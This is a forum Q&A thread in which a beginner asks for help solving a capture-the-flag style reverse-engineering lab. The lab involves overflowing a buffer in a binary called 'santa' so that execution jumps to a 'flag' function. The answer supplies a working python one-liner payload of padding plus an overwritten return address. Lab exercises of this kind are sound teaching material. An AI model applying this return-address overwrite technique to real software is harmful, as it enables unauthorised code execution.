0

I'm an absolute newbie when it comes to all this side of reverse engineering. Each time I try and understand it, I get lost almost immediately.

I am trying a lab. I open it up in Binary Ninja. I get the following

enter image description here

When I open main I get the following

enter image description here

Nothing much seems to happen but there is a function(?) called flag that looks like what I need

enter image description here

When I copy the address, it comes out as:

0x401152

I'm trying to do stuff like this on the command line but getting nowhere fast

python3 -c "print (28 * 'A' + '\x52\x11\x40')" | ./santa;

I then try to iterate through and no luck although I do get a segmentation fault on the 53rd iteration

for i in {0..60}; do python3 -c "print ($i * 'A' + '\x52\x11\x40')" | ./santa; done

Any pointers? I'm absolutely lost

1
  • Hi, generally we recommend to paste text as text, not screenshots. The reason being that search engines won't index screenshots the same way as text.
    – 0xC0000022L
    Dec 16 '21 at 9:59
0
python3 -c "print (56 * 'A' + '\x53\x11\x40\x00\x00\x00\x00\x00')" | ./santa
1
  • 2
    Would you care to elaborate on your solution?
    – NirIzr
    Nov 30 '21 at 8:22

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.